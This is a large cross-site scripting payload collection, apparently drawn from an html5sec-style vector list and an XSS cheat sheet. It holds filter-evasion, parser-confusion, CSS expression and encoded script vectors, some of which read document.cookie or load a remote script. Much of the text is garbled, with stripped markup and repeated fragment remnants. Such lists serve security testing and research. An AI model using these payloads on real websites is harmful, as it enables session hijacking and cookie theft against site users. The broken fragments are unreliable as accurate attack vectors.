'formaction\u7d4c\u7531\u3067\u306eXSS - \u30e6\u30fc\u30b6\u306e\u4ecb\u5728\u304c\u5fc5\u8981', + 'ru' : 'Пассивный скриптинг через formaction (1)', + 'cs' : 'XSS pomocí formaction - vyžaduje uživatelskou interakci (1)', + 'de' : '', + 'tr' : 'formaction ile XSS - kullanıcı etkileşimi gerektiren (1)' + }, + 'data' : '
//["'`-->]]>]
1//["'`-->]]>]
;1//["'`-->]]>]
+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'`-->]]>]
//["'`-->]]>]
+
1//["'`-->]]>]
+
]]>]
//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
XXXXXX//["'`-->]]>]
1//["'`-->]]>]
1//["'`-->]]>]
XXX//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
+
+ + + +><image xlink:href="//["'`-->]]>]
+
//["'`-->]]>]
+
  • +
    //["'`-->]]>]
    +
    XXX//["'`-->]]>]
    +
    + + + + +Hello +//["'`-->]]>]
    +
    X//["'`-->]]>]
    XXX
    //["'`-->]]>]
    XXX
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    +
    +//["'`-->]]>]
    +
    //["'`-->]]>]
    //["'`-->]]>]
    alert(57)//0//["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    XXX
    //["'`-->]]>]
    +
    XXX
    //["'`-->]]>]
    + +
    + + + + +//["'`-->]]>]
    + +
    // O10.10↓, OM10.0↓, GC6↓, FF + + // IE6, O10.10↓, OM10.0↓ + // IE6, O11.01↓, OM10.1↓//["'`-->]]>]
    +
    ]>&x;//["'`-->]]>]
    //["'`-->]]>]
    +
    + +//["'`-->]]>]
    + +
    +]>//["'`-->]]>]
    + +
    + XXX +//["'`-->]]>]
    +
    //["'`-->]]>]
    x
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    &x;//["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    +
    //["'`-->]]>]
    +
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    +
    + +//["'`-->]]>]
    + +
    + + + + + + + + + +//["'`-->]]>]
    + +
    + + +//["'`-->]]>]
    + +
    +
    + + + + +
    PRESS ENTER
    //["'`-->]]>]
    + +
    [A] +"> +"> +"> +[B] +"> +[C] + +[D] +<% foo>//["'`-->]]>]
    +
    X
    //["'`-->]]>]
    X
    //["'`-->]]>]
    +
    +alert(94) +//["'`-->]]>]
    + +
    + + + +//["'`-->]]>]
    + +
    +//["'`-->]]>]
    + +
    +
    + + + +
    +//["'`-->]]>]
    + +
    X
    +//["'`-->]]>]
    + +
    XXX//["'`-->]]>]
    +
    //["'`-->]]>]
    XXX//["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    +
    + +//["'`-->]]>]
    +
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    +
    +`><img src=xx:x onerror=alert(108)></a> + + +`><img src=xx:x onerror=alert(2)// +`><img src=xx:x onerror=alert(3)////["'`-->]]>]
    + +
    + + +//["'`-->]]>]
    + +
    + +//["'`-->]]>]
    +
    X
    //["'`-->]]>]
    X
    //["'`-->]]>]
    +
    XXX
    +//["'`-->]]>]
    +
    XXX//["'`-->]]>]
    +
    +//["'`-->]]>]
    + +
    x
    + + +//["'`-->]]>]
    + +
    + +//["'`-->]]>]
    + +
    +

    Drop me

    +
    + +//["'`-->]]>]
    + +
    + +//["'`-->]]>]
    + +
    + + +Spam//["'`-->]]>]
    + +
    + +//["'`-->]]>]
    +
    Some text +www.example.org + + +//["'`-->]]>]
    + +
    // Safari 5.0, Chrome 9, 10 + // Safari 5.0//["'`-->]]>]
    + +
    + +]> + + + + + + + +//["'`-->]]>]
    + +
    +//["'`-->]]>]
    + +
    + +alert(127) +//["'`-->]]>]
    +
    //["'`-->]]>]
    +
    + + +//["'`-->]]>]
    + +
    CLICKME + + + +CLICKME + + +CLICKMEhttp://http://google.com +//["'`-->]]>]
    + +
    drag and drop one of the following strings to the drop box: +
    +jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// +
    +feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// +
    +feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b> +
    +feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// +
    +
    + Drop Box +
    //["'`-->]]>]
    + +
    + + +
    + + + + + + + + + +//["'`-->]]>]
    +
    //["'`-->]]>]
    +
    +<% + +%></xmp><img src=xx:x onerror=alert(134)// + + %>/ +alert(2) + + +XXX + +-->{} +*{color:red}//["'`-->]]>]
    + +
    + + +//["'`-->]]>]
    + +
    + + + + +
    //["'`-->]]>]
    + +
    + + + +//["'`-->]]>]
    +
    //["'`-->]]>]
    + + +body{xxx:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))} + +a{xxx:expression(if(!window.x){alert('xss');window.x=1;})} +a{xxx:\65\78\70\72\65\73\73\69\6f\6e\28\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\27\78\73\73\27\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\3b\7d\29} +body{background:url("javascript:alert('xss')")} +body{background:url(JavAs cr +ipt:alert(0))} + +@i\6d\70o\72\74'javascr\ipt:alert(document.cookie)'; +
    + +alert(String(/xss/).substr(1,3)) +alert(/xss/.source) +Test +x='\x61\x6c\x65\x72\x74\x28\x31\x29';new Function(x)() +Test +Test + + + +
    + +javascript:document.scripts[0].src='http://127.0.0.1/yy.js';void(0); +Test + + +javascript:document.cookie=window.prompt("edit cookie:",document.cookie);void(0); + + +
  • +
    + XXX + +
    + +[!] ie only: +
    x + +<!--[if]><script>alert(1)</script --> <!--[if<img src=x onerror=alert(1)//]> --> + +[!] parsing error: +<!--<img src="--><img src=x onerror=alert(1)//"> +<comment><img src="</comment><img src=x onerror=alert(1))//"> +<![><img src="]><img src=x onerror=alert(1)//"> +<style><img src="</style><img src=x onerror=alert(1)//"> +<b <script>alert(1)</script>0 +<x '="foo"><x foo='><img src=x onerror=alert(1)//'> + +[!] special tags parsing issues, from: http://html5sec.org/#html +<? foo="><script>alert(1)</script>"> +<! foo="><script>alert(1)</script>"> +</ foo="><script>alert(1)</script>"> +<? foo="><x foo='?><script>alert(1)</script>'>"> +<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>"> +<% foo><x foo="%><script>alert(1)</script>"> + +[!] fuzzing tips: +<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)"> +<a href=java script:alert(1)>XXX</a> + +[!] utf-7 bom ++/v8 ++/v9 ++/v+ ++/v/ + +[!] html5sec.org +<svg/onload=alert(1)> +<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button> +<video><source onerror="alert(1)"> +<iframe srcdoc="<svg onload=alert(1)>⃒"></iframe> +<frameset onload=alert(1)> +<!--<img src="--><img src=x onerror=alert(1)//"> +<style><img src="</style><img src=x onerror=alert(1)//"> +<title><img src=" // by evilcos + + + + + + + + + + # Only Edge + # Only Edge + + +
    XSS'OR +
    XSS'OR +
    XSS'OR + + + + + + +<img src="